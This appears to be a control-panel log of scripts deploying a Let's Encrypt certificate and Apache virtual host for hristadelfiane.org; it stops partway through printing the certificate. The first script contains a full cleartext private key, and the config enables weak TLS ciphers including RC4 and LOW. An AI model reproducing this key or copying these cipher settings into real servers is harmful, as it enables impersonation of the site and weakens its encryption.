chmod 755 /tmp/pkp166058; /tmp/pkp166058; rm /tmp/pkp166058

2026-07-10 06:00:56: 




2026-07-10 06:00:56: Establishing a connection
2026-07-10 06:00:56: 

PUT: /tmp/pkp436081

#!/bin/bash
temp_file=$(mktemp)
TARGET=cb3ec3692863cad5b3b14321e7c0e518.crt

cat > $temp_file <<'endmsg'
7e:90:d4:ae:4c:69:8c:df:84:24:ac:75:2b:ca:0c:8a

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBUrvAmYI+AzbGDnQh53FdQC8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzEwMDUwMjI0WhcNMjYxMDA4MDUwMjIzWjAdMRswGQYDVQQD
ExJocmlzdGFkZWxmaWFuZS5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQC5V5BdvXQG2k1v1iHOyGvgn1aaUgroJyBlbCbqDN9fwA/ZNXadrGHIsLuC
9xcqtR/2265WfXP5F+8187Z4oOnCLcgZkrsBh4CetW9rIJbn1+FVm0aoomBA0Xp9
O2Rs22lDWvuyxvsi6lQI4jGj49xx+uj1XviOn67W3MdCr9WSVDTvBJVdN82Fw5j9
QIx7RyWT5XEs/HrIfgxVr9NdCtC+G4xtEhPbH27LXZtrKloYE2e0jSetMt6pjfIn
wy4/oMjb/hayl2VpJC+rvZwtSHXBb96sohKGHmhNcCgxxGO3kZf/Ud/+t2KMNtdb
n8eOU89pYQPAcODDf7Pd+xrpFpLFAgMBAAGjggI4MIICNDAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
oJ0B/QfunOpzKZO4LG130NzE5EQwHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55LFV4
+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIxLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJocmlzdGFkZWxmaWFuZS5vcmeCFnd3dy5o
cmlzdGFkZWxmaWFuZS5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy82MS5jcmwwggEMBgorBgEE
AdZ5AgQCBIH9BIH6APgAdwDXbX0Q0af1d8LH6V/XAL/5gskzWmXh0LMBcxfAyMVp
dwAAAZ9KnV2xAAAEAwBIMEYCIQCblNgO5mdMqup0EwIrP1YuL3hm9RH5tT0OSkCu
hkpR+wIhAI8DIMS7RpADW3Dh9wBVSjRC853KNdFr8uaA7S29t4N/AH0AbP5QGUOo
XqkWvFLRM+TcyR7xQRx9JYQg0XOAnhgY6zoAAAGfSp1fQgAIAAAFABR74JMEAwBG
MEQCIBr6ZZSGwcqYVSzpU4kMPQDaEfZH4Yh1v8YjQMAAMHzhAiBnUFECflplZEwo
TUqyUdxhgs8ec1NzOoWx2Rq7hOQZHjANBgkqhkiG9w0BAQsFAAOCAQEAYfQn6yn2
78RsYcm+Az0YkLZic4uoWQTLh3tyrrDarG/8jGXU/xLZp3dHhhToMU1h66KLc596
NW7Eh7zMEJWsJqi/l8pXYJs9roCVfUqHOyGMxsFnKg1MyI3NdPIiR6M+vKarVulJ
TQVRkpyk47F3tYFBY+7pMVGze6LNYCF5wNaJ4suKvrfPAk2g8Q41I307T4lRTT1g
slQL9kEEW2dx/QZsvb7Ni4zzvKSp82qq4lVcxozwCu2XMs/vF/91qeYDclO7TImA
U4bEgCPLspH4I6iZeZMvoHFnGSVhsuzXv0MyexenhiBTWEH1/janGCrBS9kJ1+uO
YhD2wtEtZsXr2Q==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQC5V5BdvXQG2k1v
1iHOyGvgn1aaUgroJyBlbCbqDN9fwA/ZNXadrGHIsLuC9xcqtR/2265WfXP5F+81
87Z4oOnCLcgZkrsBh4CetW9rIJbn1+FVm0aoomBA0Xp9O2Rs22lDWvuyxvsi6lQI
4jGj49xx+uj1XviOn67W3MdCr9WSVDTvBJVdN82Fw5j9QIx7RyWT5XEs/HrIfgxV
r9NdCtC+G4xtEhPbH27LXZtrKloYE2e0jSetMt6pjfInwy4/oMjb/hayl2VpJC+r
vZwtSHXBb96sohKGHmhNcCgxxGO3kZf/Ud/+t2KMNtdbn8eOU89pYQPAcODDf7Pd
+xrpFpLFAgMBAAECggEAFfU7ePpGsmp56COyB6yTqJ4CsEUYs7OxpofEqHqemtpx
8OWLnayG597q/YjGlDG3OBODY7h4h+yqU3WsiugNfwrWJ77MLFHgZBfSERq1piwG
Wee2hv4Nx0Afcedvw2cki8KjX+UrwFGLY9i10YPftxqR2kLGfHyLReYMLr4O4HH+
LVCHraG1izbt2rGtrCl8Q/lY6Wm2Cobz0ir+gxq6MvGZDyBdNG412x9wTaxtpHkO
DVBjZMesXHkNtSZbVkb8qCOeodqPKjg8uzeCA62Jv0vKbUJJ5wf2i0Q1k8tSEISz
N3py98NFNIQ4AvOiNtv4SfXEy8wZ7zkGKngZqkTxlQKBgQD1ryPiNAjYcQqKlaLA
sxaG4u5x9kWiaY6zNtjHME6ovJN3Tn6G0XgkZtABgS0KR54d7KLjwMZR8TmWl7M2
rOJPu9tJv9K4dMr+Qi5KRaJ/YO0xFuNdul6VAtXGEexp0+GTjomz1SpO+69Nkgjv
46mDUbngjTtUFflk5rtX6nRMZwKBgQDBH85sSg3TkAq2fmdqD3UnMC5IVHd+Df2c
+31rkYJhbkndmAojQCnNrzZd/ZKB49KAsBs3IAhpSDan1GBx5dIrj9sB9iWh7WlD
PB4WxS+i7qHEpCbbcE1rBIZ2eoHOCvxxSKq5tkaQGqd1gSbr5Q/xW5Uyu5qPdW5N
tSek70Vr8wKBgQCSHcyonqvYFjrfuyjllF1EcbjAfGhjtIXTHj6FELzna+gEX+Gu
Suw6Mg9ppark3z0xrOgfrioE2AOZBbXnQaEDLMW5seUgIQ4Nc8zWDV4chcfrlyI4
Pzw7QUlkmIpTUllpia9qDdAw000qRD0edvb9C+ERpM1xL/R4RyWKnvz15wKBgQCa
qaNCHChohxHdRuwBB3IWOULHkEXGAORbxRiTfgvBhXbIbUupIWiZHbnXmgyr000w
3FhfVFsIHdoPnEjEzn37fxCwyHUo8h37x3h9Wduli6Cn/6JS2ORXUV9yIPg1j5zO
CJkZc32dSItV0mHeRyr2axbYc1/7hdsZhnvCXhDluwKBgQC8u3VtnMyNgfzg8z9d
yvK5qq0gUCZYS+Hz/MMtjbT4/OA2xCi3q4DnVBFsxxvk1fl8g5JjTUY3Ru9csU0l
xPNJDtESSZnAMO+dmA3zHiqijvW0qPF+gWM++E6Av5yf3eAroX3fBkGFvOTmowRm
3PEeUFRu0eGnN1M7FUGu/jLQMw==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-10 06:00:56: 

chmod 755 /tmp/pkp436081; /tmp/pkp436081; rm /tmp/pkp436081

2026-07-10 06:00:56: 


dir=/etc/ssl/certs


2026-07-10 06:00:56: 

PUT: /tmp/pkp616756

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hristadelfiane_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-10 06:00:56: 

chmod 755 /tmp/pkp616756; /tmp/pkp616756; rm /tmp/pkp616756

2026-07-10 06:00:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hristadelfiane_www_org.conf 46

<VirtualHost *:80>
    ServerName	hristadelfiane.org
    ServerAlias	www.hristadelfiane.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hristadelfiane_www
    <Directory /var/www/hristadelfiane_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hristadelfiane/www_access.log combined
    ErrorLog	/var/log/apache2/hristadelfiane/www_error.log
    SetEnv pkp_uid	58
    SetEnv pkp_owner	hrista
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hristadelfiane.org
    ServerAlias	www.hristadelfiane.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/cb3ec3692863cad5b3b14321e7c0e518.crt
    DocumentRoot	/var/www/hristadelfiane_www
    <Directory /var/www/hristadelfiane_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hristadelfiane/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hristadelfiane/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-07-10 06:00:56: 

PUT: /tmp/pkp306809

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hristadelfiane_www_org.conf
TARGET=/etc/apache2/sites-enabled/hristadelfiane_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	hristadelfiane.org
    ServerAlias	www.hristadelfiane.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hristadelfiane_www
    <Directory /var/www/hristadelfiane_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hristadelfiane/www_access.log combined
    ErrorLog	/var/log/apache2/hristadelfiane/www_error.log
    SetEnv pkp_uid	58
    SetEnv pkp_owner	hrista
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hristadelfiane.org
    ServerAlias	www.hristadelfiane.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/cb3ec3692863cad5b3b14321e7c0e518.crt
    DocumentRoot	/var/www/hristadelfiane_www
    <Directory /var/www/hristadelfiane_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hristadelfiane/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hristadelfiane/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hristadelfiane_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hristadelfiane_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hristadelfiane_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hristadelfiane_www_org.conf= 1'
fi


2026-07-10 06:00:56: 

chmod 755 /tmp/pkp306809; /tmp/pkp306809; rm /tmp/pkp306809

2026-07-10 06:00:56: 




2026-07-10 06:00:56: 

PUT: /tmp/pkp191919

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-10 06:00:56: 

chmod 755 /tmp/pkp191919; /tmp/pkp191919; rm /tmp/pkp191919

2026-07-10 06:00:57: 


.


2026-07-10 06:00:57: Establishing a connection
2026-07-10 06:00:57: 

PUT: /tmp/pkp325298

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-10 06:00:57: 

chmod 755 /tmp/pkp325298; /tmp/pkp325298; rm /tmp/pkp325298

2026-07-10 06:00:57: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-07-10 06:00:57: 

PUT: /tmp/pkp487739

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hristadelfiane_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-10 06:00:57: 

chmod 755 /tmp/pkp487739; /tmp/pkp487739; rm /tmp/pkp487739

2026-07-10 06:00:57: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hristadelfiane_www_org.conf	1434

<VirtualHost *:80>
    ServerName	hristadelfiane.org
    ServerAlias	www.hristadelfiane.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hristadelfiane_www
    <Directory /var/www/hristadelfiane_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hristadelfiane/www_access.log combined
    ErrorLog	/var/log/apache2/hristadelfiane/www_error.log
    SetEnv pkp_uid	58
    SetEnv pkp_owner	hrista
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hristadelfiane.org
    ServerAlias	www.hristadelfiane.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/cb3ec3692863cad5b3b14321e7c0e518.crt
    DocumentRoot	/var/www/hristadelfiane_www
    <Directory /var/www/hristadelfiane_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hristadelfiane/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hristadelfiane/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-07-10 06:00:57: 

PUT: /tmp/pkp365890

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/cb3ec3692863cad5b3b14321e7c0e518.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-10 06:00:57: 

chmod 755 /tmp/pkp365890; /tmp/pkp365890; rm /tmp/pkp365890

2026-07-10 06:00:57: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/cb3ec3692863cad5b3b14321e7c0e518.crt	7461
7e:90:d4:ae:4c:69:8c:df:84:24:ac:75:2b:ca:0c:8a

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBUrvAmYI+AzbGDnQh53FdQC8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzEwMDUwMjI0WhcNMjYxMDA4MDUwMjIzWjAdMRswGQYDVQQD
ExJocmlzdGFkZWxmaWFuZS5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQC5V5BdvXQG2k1v1iHOyGvgn1aaUgroJyBlbCbqDN9fwA/ZNXadrGHIsLuC
9xcqtR/2265WfXP5F+8187Z4oOnCLcgZkrsBh4CetW9rIJbn1+FVm0aoomBA0Xp9
O2Rs22lDWvuyxvsi6lQI4jGj49xx+uj1XviOn67W3MdCr9WSVDTvBJVdN82Fw5j9
QIx7RyWT5XEs/HrIfgxVr9NdCtC+G4xtEhPbH27LXZtrKloYE2e0jSetMt6pjfIn
wy4/oMjb/hayl2VpJC+rvZwtSHXBb96sohKGHmhNcCgxxGO3kZf/Ud/+t2KMNtdb
n8eOU89pYQPAcODDf7Pd+xrpFpLFAgMBAAGjggI4MIICNDAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
oJ0B/QfunOpzKZO4LG130NzE5EQwHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55LFV4
+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIxLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJocmlzdGFkZWxmaWFuZS5vcmeCFnd3dy5o
cmlzdGFkZWxmaWFuZS5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy82MS5jcmwwggEMBgorBgEE
